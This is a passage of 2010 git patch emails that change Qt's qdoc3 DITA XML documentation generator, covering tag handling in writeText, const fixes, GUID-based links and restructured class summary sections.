"<@type>", + "<@headerfile>", "<@headerfile>", + "<@func>", "<@func>", + "", "", + "", "", + "", "", + "", "" }; for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { @@ -3178,8 +3099,62 @@ void DitaXmlGenerator::writeText(const QString& markedCode, ++i; } } - if (!html.isEmpty()) + + // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()" + // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags + src = html; + html = QString(); + static const QString markTags[] = { "link", "type", "headerfile", "func" }; + bool done = false; + for (int i = 0, n = src.size(); i < n;) { + if (src.at(i) == charLangle && src.at(i + 1) == charAt) { + if (nameAlignment && !done) { + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); + done = true; + } + i += 2; + bool handled = false; + for (int k = 0; k != 4; ++k) { + if (parseArg(src, markTags[k], &i, n, &arg, &par1)) { + const Node* n = 0; + if (k == 0) { + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + n = CodeMarker::nodeForString(par1.toString()); + QString link = linkForNode(n, relative); + addLink(link, arg); + } + else { + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + par1 = QStringRef(); + marker->resolveTarget(arg.toString(), myTree, relative); + QString link = linkForNode(n,relative); + addLink(link, arg); + } + handled = true; + break; + } + } + } + else { + html += src.at(i++); + } + } + + if (!html.isEmpty()) { xmlWriter().writeCharacters(html); + } } void DitaXmlGenerator::generateLink(const Atom* atom, diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 35c49ae..a5346a5 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -267,6 +267,7 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker, bool apiDesc, const QString& title); + void addLink(const QString& href, const QStringRef& text); private: QMap refMap; -- cgit v0.12 From 445513153c6c4f80eccf77c33ca38574b5972922 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 21 Sep 2010 09:35:32 +0200 Subject: qdoc: DITA XML generator now avoids escaping and elements. --- tools/qdoc3/ditaxmlgenerator.cpp | 40 ++++++++++++++++++++++++++++++++++------ 1 file changed, 34 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 0170644..de70d29 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3010,9 +3010,10 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); +#if 0 marked.replace("<@param>",""); marked.replace("",""); - +#endif if (style == CodeMarker::Summary) { marked.replace("<@name>",""); // was "" marked.replace("",""); // was "" @@ -3023,10 +3024,12 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, extraRegExp.setMinimal(true); marked.replace(extraRegExp,""); } +#if 0 else { marked.replace("<@extra>",""); marked.replace("",""); } +#endif if (style != CodeMarker::Detailed) { marked.replace("<@type>",""); @@ -3062,15 +3065,19 @@ void DitaXmlGenerator::writeText(const QString& markedCode, "<@type>", "<@type>", "<@headerfile>", "<@headerfile>", "<@func>", "<@func>", + "<@param>", "<@param>", + "<@extra>", "<@extra>", "", "", "", "", "", "", - "", "" + "", "", + "", "", + "", "" }; for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { bool handled = false; - for (int k = 0; k != 8; ++k) { + for (int k = 0; k != 12; ++k) { const QString & tag = spanTags[2 * k]; if (tag == QStringRef(&src, i, tag.length())) { html += spanTags[2 * k + 1]; @@ -3104,7 +3111,10 @@ void DitaXmlGenerator::writeText(const QString& markedCode, // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags src = html; html = QString(); - static const QString markTags[] = { "link", "type", "headerfile", "func" }; + static const QString markTags[] = { + // 0 1 2 3 4 5 + "link", "type", "headerfile", "func", "param", "extra" + }; bool done = false; for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle && src.at(i + 1) == charAt) { @@ -3120,10 +3130,10 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } i += 2; bool handled = false; - for (int k = 0; k != 4; ++k) { + for (int k = 0; k != 6; ++k) { if (parseArg(src, markTags[k], &i, n, &arg, &par1)) { const Node* n = 0; - if (k == 0) { + if (k == 0) { // <@link> if (!html.isEmpty()) { xmlWriter().writeCharacters(html); html.clear(); @@ -3132,6 +3142,24 @@ void DitaXmlGenerator::writeText(const QString& markedCode, QString link = linkForNode(n, relative); addLink(link, arg); } + else if (k == 4) { // <@param> + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + xmlWriter().writeStartElement("i"); + xmlWriter().writeCharacters(arg.toString()); + xmlWriter().writeEndElement(); // + } + else if (k == 5) { // <@extra> + if (!html.isEmpty()) { + xmlWriter().writeCharacters(html); + html.clear(); + } + xmlWriter().writeStartElement("tt"); + xmlWriter().writeCharacters(arg.toString()); + xmlWriter().writeEndElement(); // + } else { if (!html.isEmpty()) { xmlWriter().writeCharacters(html); -- cgit v0.12 From 5d1a38fc9e5a8fbbbb78ed8aeb7e328b97781474 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 21 Sep 2010 13:05:07 +0200 Subject: qdoc: Replaced missing "const" That caused link errors. A const had been erroneously dropped from some fileBase() functions. --- tools/qdoc3/ditaxmlgenerator.cpp | 2 +- tools/qdoc3/ditaxmlgenerator.h | 5 +---- tools/qdoc3/htmlgenerator.cpp | 4 ++-- tools/qdoc3/htmlgenerator.h | 4 ++-- 4 files changed, 6 insertions(+), 9 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index de70d29..d25c76c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3361,7 +3361,7 @@ QString DitaXmlGenerator::protect(const QString& string, const QString& outputEn Constructs a file name appropriate for the \a node and returns the file name. */ -QString DitaXmlGenerator::fileBase(const Node* node) +QString DitaXmlGenerator::fileBase(const Node* node) const { QString result; result = PageGenerator::fileBase(node); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index a5346a5..6f99e90 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -231,10 +231,7 @@ class DitaXmlGenerator : public PageGenerator void generateStatus(const Node* node, CodeMarker* marker); QString registerRef(const QString& ref); - QString fileBase(const Node* node); -#if 0 - QString fileBase(const Node* node, const SectionIterator& section); -#endif + QString fileBase(const Node* node) const; QString fileName(const Node* node); void findAllClasses(const InnerNode* node); void findAllFunctions(const InnerNode* node); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 77e306a..2849325 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -3417,7 +3417,7 @@ QString HtmlGenerator::protect(const QString &string, const QString &outputEncod #undef APPEND } -QString HtmlGenerator::fileBase(const Node *node) +QString HtmlGenerator::fileBase(const Node *node) const { QString result; @@ -3440,7 +3440,7 @@ QString HtmlGenerator::fileBase(const Node *node) #if 0 QString HtmlGenerator::fileBase(const Node *node, - const SectionIterator& section) + const SectionIterator& section) const { QStringList::ConstIterator s = section.sectionNumber().end(); QStringList::ConstIterator b = section.baseNameStack().end(); diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index d885ada..430aca2 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -241,9 +241,9 @@ class HtmlGenerator : public PageGenerator void generateStatus(const Node *node, CodeMarker *marker); QString registerRef(const QString& ref); - QString fileBase(const Node *node); + QString fileBase(const Node *node) const; #if 0 - QString fileBase(const Node *node, const SectionIterator& section); + QString fileBase(const Node *node, const SectionIterator& section) const; #endif QString fileName(const Node *node); void findAllClasses(const InnerNode *node); -- cgit v0.12 From 0840b0a1c14093c3dc1cbe16561ae6c8d7096fa9 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 21 Sep 2010 14:23:11 +0200 Subject: qdoc: YREKA! Now using GUIDs for node href attributes. --- tools/qdoc3/ditaxmlgenerator.cpp | 26 +++++++++++++++++++++----- tools/qdoc3/ditaxmlgenerator.h | 3 ++- 2 files changed, 23 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d25c76c..13d33e8 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -531,6 +531,17 @@ QString DitaXmlGenerator::writeGuidAttribute(QString text) return guid; } + +/*! + Write's the GUID for the \a node to the current XML stream + as an "id" attribute. If the \a node doesn't yet have a GUID, + one is generated. + */ +void DitaXmlGenerator::writeGuidAttribute(Node* node) +{ + xmlWriter().writeAttribute("id",node->guid()); +} + /*! Looks up \a text in the GUID map. If it finds \a text, it returns the associated GUID. Otherwise it inserts @@ -1863,7 +1874,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) outputclass = "example"; break; case Node::HeaderFile: - outputclass = "header"; + outputclass = "headerfile"; break; case Node::File: outputclass = "file"; @@ -3296,6 +3307,8 @@ QString DitaXmlGenerator::registerRef(const QString& ref) } else if (prevRef == ref) break; + else + qDebug() << "PREVREF:" << prevRef; clean += "x"; } return clean; @@ -3470,8 +3483,10 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) return QString(); fn = fileName(node); - link += fn; + link += fn + "#" + node->guid(); + return link; +#if 0 if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { ref = refForNode(node); if (relative && fn == fileName(relative) && ref == refForNode(relative)) @@ -3481,6 +3496,7 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) link += ref; } return link; +#endif } QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) @@ -3517,7 +3533,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeEndElement(); // } -void DitaXmlGenerator::generateDetailedMember(const Node* node, +void DitaXmlGenerator::generateDetailedMember(Node* node, const InnerNode* relative, CodeMarker* marker) { @@ -3527,7 +3543,7 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, if ((node->type() == Node::Enum) && (en = static_cast(node))->flagsType()) { xmlWriter().writeStartElement("p"); - writeGuidAttribute(refForNode(node)); + writeGuidAttribute(node); xmlWriter().writeAttribute("outputclass","h3 flags"); marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); @@ -3538,7 +3554,7 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, } else { xmlWriter().writeStartElement("p"); - writeGuidAttribute(refForNode(node)); + writeGuidAttribute(node); xmlWriter().writeAttribute("outputclass","h3 fn"); marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6f99e90..6a52441 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -222,7 +222,7 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker, const Node* actualNode = 0); - void generateDetailedMember(const Node* node, + void generateDetailedMember(Node* node, const InnerNode* relative, CodeMarker* marker); void generateLink(const Atom* atom, @@ -256,6 +256,7 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker); void endLink(); QString writeGuidAttribute(QString text); + void writeGuidAttribute(Node* node); QString lookupGuid(QString text); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); -- cgit v0.12 From d10863a6d155f5a57fc30dbaf1229e29eef1ba98 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 22 Sep 2010 10:04:45 +0200 Subject: qdoc: Changed the in the . This is now the first part of the generated documentation for a C++ class rather than the first section of the detailed description. This includes the brief text, the inheritance stuff, the inherited-by stuff, and a few other preamble type texts. --- tools/qdoc3/ditaxmlgenerator.cpp | 134 ++++++++++++++++++++++++++------------- tools/qdoc3/ditaxmlgenerator.h | 12 ++-- 2 files changed, 97 insertions(+), 49 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 13d33e8..3efd98b 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1443,7 +1443,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, void DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* marker) { - QList
    sections; QList
    ::ConstIterator s; const ClassNode* cn = 0; @@ -1487,7 +1486,50 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(cn); xmlWriter().writeEndElement(); // - writeDetailSections(cn, marker, true, QString("Detailed Description")); + xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeAttribute("spectitle",title); + Text brief = cn->doc().briefText(); + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, cn, marker); + xmlWriter().writeEndElement(); //

    + } + generateIncludes(cn, marker); + generateStatus(cn, marker); + generateInherits(cn, marker); + generateInheritedBy(cn, marker); + generateThreadSafeness(cn, marker); + generateSince(cn, marker); + + xmlWriter().writeStartElement("ul"); + + QString membersLink = generateListOfAllMemberFile(inner, marker); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + + QList
    summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + + writeDetailedDescription(cn, marker, false, QString("Detailed Description")); + // zzz writeSections() gores here. // not included: or @@ -1496,9 +1538,10 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark // not included: // not included: - sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { + QList
    detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { if ((*s).name == "Member Function Documentation") { writeFunctions((*s),cn,marker); } @@ -1631,7 +1674,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker ++s; } - writeDetailSections(fake, marker, false, QString("Detailed Description")); + writeDetailedDescription(fake, marker, false, QString("Detailed Description")); if (cn) generateQmlText(cn->doc().body(), cn, marker, fake->name()); @@ -1660,10 +1703,10 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (!fake->doc().isEmpty()) { xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { - writeDetailSections(fake, marker, false, QString("Detailed Description")); + writeDetailedDescription(fake, marker, false, QString("Detailed Description")); } else - writeDetailSections(fake, marker, false, QString()); + writeDetailedDescription(fake, marker, false, QString()); generateAlsoList(fake, marker); if (!fake->groupMembers().isEmpty()) { @@ -1832,10 +1875,15 @@ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, } /*! - Outputs an XML file header depending on which kind of DITA XML - file is being generated. + Writes an XML file header to the current XML stream. This + depends on which kind of DITA XML file is being generated, + which is determined by the \a node type and subtype and the + \a subpage flag. If the \subpage flag is true, a \c{} + header is written, regardless of the type of \a node. */ -void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) +void DitaXmlGenerator::generateHeader(const Node* node, + const QString& name, + bool subpage) { if (!node) return; @@ -1848,16 +1896,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) QString version; QString outputclass; - if (node->type() == Node::Class) { - mainElement = "cxxClass"; - nameElement = "apiName"; - dtd = "dtd/cxxClass.dtd"; - version = "0.6.0"; - doctype = ""; - } - else if (node->type() == Node::Fake) { + if (node->type() == Node::Fake || subpage) { mainElement = "topic"; nameElement = "title"; dtd = "dtd/topic.dtd"; @@ -1895,6 +1934,15 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) outputclass = "page"; } } + else if (node->type() == Node::Class) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + } xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); @@ -1949,7 +1997,7 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) ++noLinks; xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); - xmlWriter().writeEndElement(); // shortdesc + xmlWriter().writeEndElement(); // --noLinks; } } @@ -2186,7 +2234,7 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, QString fileName = fileBase(inner) + "-members." + fileExtension(inner); beginSubPage(inner->location(), fileName); QString title = "List of All Members for " + inner->name(); - generateHeader(inner, title); + generateHeader(inner, title, true); xmlWriter().writeStartElement("body"); xmlWriter().writeStartElement("section"); if (!title.isEmpty()) { @@ -2235,7 +2283,7 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, fileName = fileBase(inner) + "-obsolete." + fileExtension(inner); } beginSubPage(inner->location(), fileName); - generateHeader(inner, title); + generateHeader(inner, title, true); xmlWriter().writeStartElement("body"); xmlWriter().writeStartElement("section"); if (!title.isEmpty()) { @@ -4531,7 +4579,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writeLocation(fn); xmlWriter().writeEndElement(); // - writeDetailSections(fn, marker, true, QString()); + writeDetailedDescription(fn, marker, true, QString()); // generateAlsoList(inner, marker); // not included: or @@ -4687,7 +4735,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writeLocation(en); xmlWriter().writeEndElement(); // - writeDetailSections(en, marker, true, QString()); + writeDetailedDescription(en, marker, true, QString()); // not included: or @@ -4747,7 +4795,7 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, writeLocation(tn); xmlWriter().writeEndElement(); // - writeDetailSections(tn, marker, true, QString()); + writeDetailedDescription(tn, marker, true, QString()); // not included: or @@ -4858,7 +4906,7 @@ void DitaXmlGenerator::writeProperties(const Section& s, writeLocation(pn); xmlWriter().writeEndElement(); // - writeDetailSections(pn, marker, true, QString()); + writeDetailedDescription(pn, marker, true, QString()); // not included: or @@ -4940,7 +4988,7 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writeLocation(vn); xmlWriter().writeEndElement(); // - writeDetailSections(vn, marker, true, QString()); + writeDetailedDescription(vn, marker, true, QString()); // not included: or @@ -5034,7 +5082,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, writeLocation(fn); xmlWriter().writeEndElement(); // - writeDetailSections(fn, marker, true, QString()); + writeDetailedDescription(fn, marker, true, QString()); // not included: or @@ -5110,21 +5158,19 @@ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() } /*! - Writes the \e {Detailed Description} section(s) for \a node - to the current XML stream using the code \a marker. if the - \a apiDesc flag is true, then the first section of the - sequence of sections written will be an \c {apiDesc>} - element with a \e {spectitle} attribute of \e {Detailed - Description}. Otherwise, the first section will be a - \c {
    } element with a \c {} element of - \e {Detailed Description}. This function calls the - Generator::generateBody() function to write the XML for - the section list. + Writes the \e {Detailed Description} section(s) for \a node to the + current XML stream using the code \a marker. if the \a apiDesc flag + is true, then the first section of the sequence of sections written + will be an \c {apiDesc>} element with a \e {spectitle} attribute of + \e {Detailed Description}. Otherwise, the first section will be a + \c {<section>} element with a \c {<title>} element of \e {Detailed + Description}. This function calls the Generator::generateBody() + function to write the XML for the section list. */ -void DitaXmlGenerator::writeDetailSections(const Node* node, - CodeMarker* marker, - bool apiDesc, - const QString& title) +void DitaXmlGenerator::writeDetailedDescription(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title) { if (!node->doc().isEmpty()) { inDetailedDescription = true; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6a52441..5ec4a6c 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -150,7 +150,9 @@ class DitaXmlGenerator : public PageGenerator void generateBreadCrumbs(const QString& title, const Node* node, CodeMarker* marker); - void generateHeader(const Node* node, const QString& name); + void generateHeader(const Node* node, + const QString& name, + bool subpage = false); void generateTitle(const QString& title, const Text& subTitle, SubTitleSize subTitleSize, @@ -261,10 +263,10 @@ class DitaXmlGenerator : public PageGenerator virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); QXmlStreamWriter& xmlWriter(); - void writeDetailSections(const Node* node, - CodeMarker* marker, - bool apiDesc, - const QString& title); + void writeDetailedDescription(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title); void addLink(const QString& href, const QStringRef& text); private: -- cgit v0.12 From 40479a41ce6e51f32c4120f290cbe36b3d7424b0 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 22 Sep 2010 12:57:25 +0200 Subject: qdoc: Added the summary sections to the cxxClass. --- tools/qdoc3/ditaxmlgenerator.cpp | 71 ++++++++++++++++++++++++++++++++++------ 1 file changed, 61 insertions(+), 10 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3efd98b..02be9fd 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1525,12 +1525,56 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeEndElement(); // </ul> xmlWriter().writeEndElement(); // </apiDesc> + bool needOtherSection = false; QList<Section> summarySections; summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); - + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + } + ++s; + } + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + } + writeDetailedDescription(cn, marker, false, QString("Detailed Description")); - // zzz writeSections() gores here. // not included: or xmlWriter().writeEndElement(); // @@ -3022,7 +3066,7 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } /*! - Writes the "inherited from" lists to the current XML stream. + Writes the "inherited from" list to the current XML stream. */ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, const Node* relative, @@ -3031,19 +3075,26 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, if (section.inherited.isEmpty()) return; xmlWriter().writeStartElement("ul"); - QList >::ConstIterator p = section.inherited.begin(); + QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { xmlWriter().writeStartElement("li"); xmlWriter().writeAttribute("outputclass","fn"); - QString text = (*p).second + " "; + QString text; + text.setNum((*p).second); + text += " "; if ((*p).second == 1) text += section.singularMember; else text += section.pluralMember; - text += " inherited from "; - text += protectEnc(marker->plainFullName((*p).first, relative)) + ""; + text += " inherited from "; + xmlWriter().writeCharacters(text); + xmlWriter().writeStartElement("xref"); + text = fileName((*p).first) + "#"; + text += DitaXmlGenerator::cleanRef(section.name.toLower()); + xmlWriter().writeAttribute("href",text); + text = protectEnc(marker->plainFullName((*p).first, relative)); xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); // ++p; } xmlWriter().writeEndElement(); // @@ -5177,14 +5228,14 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, if (apiDesc) { inApiDesc = true; xmlWriter().writeStartElement(APIDESC); - xmlWriter().writeAttribute("id",node->guid()); + // zzz xmlWriter().writeAttribute("id",node->guid()); if (!title.isEmpty()) xmlWriter().writeAttribute("spectitle",title); } else { inSection = true; xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("id",node->guid()); + // zzz xmlWriter().writeAttribute("id",node->guid()); if (!title.isEmpty()) { xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(title); -- cgit v0.12 From 6cff9860c5390cceee4973fce20798939fae088b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 22 Sep 2010 13:42:15 +0200 Subject: qdoc: Removed some unused parameters. --- tools/qdoc3/ditaxmlgenerator.cpp | 19 +++++++------------ tools/qdoc3/ditaxmlgenerator.h | 22 ++++++---------------- 2 files changed, 13 insertions(+), 28 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 02be9fd..921fdbc 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1590,17 +1590,17 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeFunctions((*s),cn,marker); } else if ((*s).name == "Member Type Documentation") { - writeEnumerations((*s),cn,marker); - writeTypedefs((*s),cn,marker); + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); } else if ((*s).name == "Member Variable Documentation") { - writeDataMembers((*s),cn,marker); + writeDataMembers((*s),marker); } else if ((*s).name == "Property Documentation") { - writeProperties((*s),cn,marker); + writeProperties((*s),marker); } else if ((*s).name == "Macro Documentation") { - writeMacros((*s),cn,marker); + writeMacros((*s),marker); } ++s; } @@ -4626,7 +4626,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, xmlWriter().writeCharacters(marker->plainFullName(rfn)); xmlWriter().writeEndElement(); // } - writeParameters(fn,marker); + writeParameters(fn); writeLocation(fn); xmlWriter().writeEndElement(); // @@ -4650,7 +4650,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, /*! This function writes the element. */ -void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marker) +void DitaXmlGenerator::writeParameters(const FunctionNode* fn) { const QList& parameters = fn->parameters(); if (!parameters.isEmpty()) { @@ -4688,7 +4688,6 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke This function writes the enum types. */ void DitaXmlGenerator::writeEnumerations(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4804,7 +4803,6 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, This function writes the output for the \typedef commands. */ void DitaXmlGenerator::writeTypedefs(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4865,7 +4863,6 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, This is the Q_PROPERTYs. */ void DitaXmlGenerator::writeProperties(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4975,7 +4972,6 @@ void DitaXmlGenerator::writeProperties(const Section& s, This function outputs the nodes resulting from \variable commands. */ void DitaXmlGenerator::writeDataMembers(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -5057,7 +5053,6 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, This function writes a \macro as a . */ void DitaXmlGenerator::writeMacros(const Section& s, - const ClassNode* cn, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 5ec4a6c..dd0d56e 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -121,22 +121,12 @@ class DitaXmlGenerator : public PageGenerator void writeFunctions(const Section& s, const ClassNode* cn, CodeMarker* marker); - void writeParameters(const FunctionNode* fn, CodeMarker* marker); - void writeEnumerations(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeTypedefs(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeDataMembers(const Section& s, - const ClassNode* cn, - CodeMarker* marker); - void writeProperties(const Section& s, - const 